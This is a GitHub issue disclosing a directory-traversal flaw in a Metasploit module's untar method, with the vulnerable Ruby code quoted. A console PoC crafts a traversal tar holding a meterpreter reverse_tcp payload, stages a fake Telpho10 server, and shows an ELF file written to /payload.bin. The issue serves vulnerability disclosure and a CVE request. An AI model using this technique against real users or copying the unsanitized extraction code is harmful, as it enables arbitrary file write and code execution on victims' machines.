You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
auxiliary/admin/http/telpho10_credential_dump: untar method is vulnerable to directory traversal resulting in arbitrary file write on the Metasploit host
#14015
Closed
bcoles opened this issue
Aug 18, 2020
· 3 comments
· Fixed by #14034
The untar method in the auxiliary/admin/http/telpho10_credential_dump module is vulnerable to directory traversal resulting in arbitrary file write.
This can be used to achieve remote command execution on the Metasploit host from a remote malicious webserver masquerading as a Telpho10 system.
Vulnerable Code
# Used for unpacking backup filesdefuntar(tarfile)destination=tarfile.split('.tar').firstFileUtils.mkdir_p(destination)File.open(tarfile,'rb')do |file|
Rex::Tar::Reader.new(file)do |tar|
tar.eachdo |entry|
dest=File.joindestination,entry.full_name# <-- TAR file name used as destination path for file writeifentry.file?File.open(dest,'wb')do |f|
f.write(entry.read)# <-- file contents are written to destination pathendFile.chmod(entry.header.mode,dest)endendendendreturndestinationend
PoC
msf6 > use multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../payload.bin
TARGETPAYLOADPATH => ../../../../../../../payload.bin
msf6 exploit(multi/fileformat/zip_slip) > run
[+] msf.tar stored at /root/.msf4/local/msf.tar
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../payload.bin
msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/
[*] exec: mkdir /var/www/html/telpho/
msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/system
[*] exec: mkdir /var/www/html/telpho/system
msf6 exploit(multi/fileformat/zip_slip) > mkdir /var/www/html/telpho/temp
[*] exec: mkdir /var/www/html/telpho/temp
msf6 exploit(multi/fileformat/zip_slip) > Interrupt: use the 'exit' command to quit
msf6 exploit(multi/fileformat/zip_slip) > touch /var/www/html/telpho/system/backup.php
[*] exec: touch /var/www/html/telpho/system/backup.php
msf6 exploit(multi/fileformat/zip_slip) > mv /root/.msf4/local/msf.tar /var/www/html/telpho/temp/telpho10.epb
[*] exec: mv /root/.msf4/local/msf.tar /var/www/html/telpho/temp/telpho10.epb
msf6 exploit(multi/fileformat/zip_slip) > use auxiliary/admin/http/telpho10_credential_dump
msf6 auxiliary(admin/http/telpho10_credential_dump) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(admin/http/telpho10_credential_dump) > service apache2 start
[*] exec: service apache2 start
msf6 auxiliary(admin/http/telpho10_credential_dump) > ls -la /payload.bin
[*] exec: ls -la /payload.bin
ls: cannot access '/payload.bin': No such file or directory
msf6 auxiliary(admin/http/telpho10_credential_dump) > run
[*] Running module against 127.0.0.1
[*] Generating backup
[*] Downloading backup
[+] File saved in: /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
[-] Could not unpack files.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/telpho10_credential_dump) > ls -la /payload.bin
[*] exec: ls -la /payload.bin
-rwxrwxrwx 1 root root 207 Aug 18 04:31 /payload.bin
msf6 auxiliary(admin/http/telpho10_credential_dump) > file /payload.bin
[*] exec: file /payload.bin
/payload.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, no section header
msf6 auxiliary(admin/http/telpho10_credential_dump) > tar --list -f /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
[*] exec: tar --list -f /root/.msf4/loot/20200818043126_default_127.0.0.1_telpho10.backup_834653.tar
tar: Removing leading `../../../../../../../' from member names
../../../../../../../payload.bin
The text was updated successfully, but these errors were encountered:
@bcoles if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.
@bcoles if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.
The auxiliary/admin/http/telpho10_credential_dump module is affected by a relative path traversal vulnerability in the untar method which can be exploited to write arbitrary files to arbitrary locations on the host file system when the module is run on a malicious HTTP server.
In terms of affected versions, this probably affects the module since it was introduced in 2016, and is currently unpatched.
This probably affects Metasploit running on any supported platform. Tested with Metasploit running on Linux.
The
untar
method in theauxiliary/admin/http/telpho10_credential_dump
module is vulnerable to directory traversal resulting in arbitrary file write.This can be used to achieve remote command execution on the Metasploit host from a remote malicious webserver masquerading as a Telpho10 system.
Vulnerable Code
PoC
The text was updated successfully, but these errors were encountered: